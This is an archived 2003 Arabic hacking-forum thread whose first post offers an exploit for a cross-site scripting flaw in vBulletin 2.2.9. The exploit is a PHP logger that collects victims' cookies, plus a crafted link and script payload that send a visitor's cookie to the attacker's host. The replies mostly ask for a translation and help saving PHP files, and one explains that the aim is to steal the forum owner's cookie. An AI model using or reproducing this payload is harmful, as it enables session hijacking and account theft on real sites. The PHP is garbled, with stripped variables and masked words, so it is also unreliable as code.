المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : Fetching vBulletin's 2.2.9 &@#&@#&@#&@#&@#&@#s and storing it in log file.to a


HackeRMaN
19-05-2003, 11:00
- Run this script on some host:

<?PHP

// vBulletin XSS Injection Vulnerability: Exploit
// ---
// Coded By : Sp.IC (SpeedICNet@Hotmail.Com).
// Descrption: Fetching vBulletin's &@#&@#&@#&@#&@#&@#s and storing it into a
log file.

// Variables:

= "&@#&@#&@#&@#&@#&@#s.Log";

// Functions:

/*

If (['Action'] = "Log") {

= "<!--";
= "--->";

}
Else {

= "";
= "";

}

Print ();

*/

Print ("<Title>vBulletin XSS Injection Vulnerability:
Exploit</Title>");
Print ("<Pre>");
Print ("<Center>");
Print ("<B>vBulletin XSS Injection Vulnerability: Exploit</B>\n");
Print ("Coded By: <B><A
Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A></B><Hr Width=\"20%\">");

/*

Print ();

*/

Switch (['Action']) {

Case "Log":

= ['&@#&@#&@#&@#&@#&@#'];

= StrStr (, SubStr (, BCAdd (0x0D,
StrLen (DecHex (MD5 (NULL))))));

= FOpen (, "a+");
FWrite (, Trim () . "\n");
FClose ();

Print ("&@#&@#&@#&@#&@#&@# HTTP-&@#&@#&@#&@#&@#=\"&@#&@#&@#&@#&@#&@#&@#\"
&@#&@#&@#&@#&@#&@#&@#=\"0; URL=" . ['HTTP_REFERER'] . "\">");

Break;

Case "List":

If (!File_Exists () || !In_Array ()) {

Print ("<Br><Br><B>There are No
Records</B></Center></Pre>");

Exit ();

}
Else {

Print ("</Center></Pre>");

= Array_UniQue (File ());

Print ("<Pre>");

Print ("<B>.:: Statics</B>\n");
Print ("\n");

Print ("^ Logged Records : <B>" . Count (File
()) . "</B>\n");
Print ("^ Listed Records : <B>" . Count

() . " </B>[Not Counting Duplicates]\n");
Print ("\n");

Print ("<B>.:: Options</B>\n");
Print ("\n");

If (Count (File ()) > 0) {

['Download'] = "[<A Href=\"" .
. "\">Download</A>]";

}
Else{

['Download'] = "[No Records in Log]";

}

Print ("^ Download Log : " .
['Download'] . "\n");
Print ("^ Clear Records : [<A Href=\"" .
. "?Action=Delete\">Y</A>]\n");
Print ("\n");

Print ("<B>.:: Records</B>\n");
Print ("\n");

While (List ([0], [1]) = Each ()) {

Print ("<B>" . [0] . ": </B>" . [1]);

}

}

Print ("</Pre>");

Break;

Case "Delete":

@UnLink ();

Print ("<Br><Br><B>Deleted
Succsesfuly</B></Center></Pre>") Or Die ("<Br><Br><B>Error: Cannot Delete
Log</B></Center></Pre>");

Print ("&@#&@#&@#&@#&@#&@# HTTP-&@#&@#&@#&@#&@#=\"&@#&@#&@#&@#&@#&@#&@#\" &@#&@#&@#&@#&@#&@#&@#=\"3; URL=" .
['HTTP_REFERER'] . "\">");

Break;

}

?>
- Give a victim this link: member2.php?s=[Session]
&action=viewsubscription&perpage=[Script Code]

- Note: You can replace [Script Code] with: --
>&lt;Script&gt;location='Http://[Exploit Path]?Action=Log&&@#&@#&@#&@#&@#&@#='+
(document.&@#&@#&@#&@#&@#&@#);&lt;/Script&gt;

- Then go to Http://[Exploit Path]?Action=List

black_knight
21-05-2003, 03:08
ممكن تترجم لنا بالعربي عشان نفهم اخوي
:)

$ZooM In$
25-05-2003, 02:23
أخوي المفكرة اللي عندي ما تحفظ PHP ......
شكــــــــــــــــــــــــراُ لك.

NeT SpideR
25-05-2003, 03:42
اكتب save as
وحدد انت الاسم يالاخو وخليه مثلا add.php
وراح تنحفظ ان شاء الله

HackeRMaN
28-05-2003, 12:49
لحفظ php في النوت باد اكتب الملف هكذا "blls.php" ولاتنسى وضع "" في البداية والنهاية

الأسير
28-05-2003, 12:36
ممكن تترجع خووك ;)

الهكر بن لادن
28-05-2003, 10:48
إيش هذا على الأقل ترجموا العنوان وما أظن هناك الكثير من الشرح لكن اكتبوه

MIDO82
11-06-2003, 10:15
السلام عليكم
يااخوان اشرحوا لنا الثغرة واخبرونا حقت ايش
ماهي شغلة هاذي كل واحد يجي يحط ثغرة ويمشي

القرصان
26-06-2003, 03:41
ترى الثغرة سهلة
لمنتديات الvBulletin's 2.2.9 وإلي إلإصدارت السابقة

على العموم
ماتشتغل إلا إذا كان صاحب المنتدى مفعل خاصية HTML

واغلب المواقع مقفلة هذي الخاصية

وفكرت الثغرة سحب ملف الكوكيز لصاحب المنتدى

سلاااااااااااام
|4|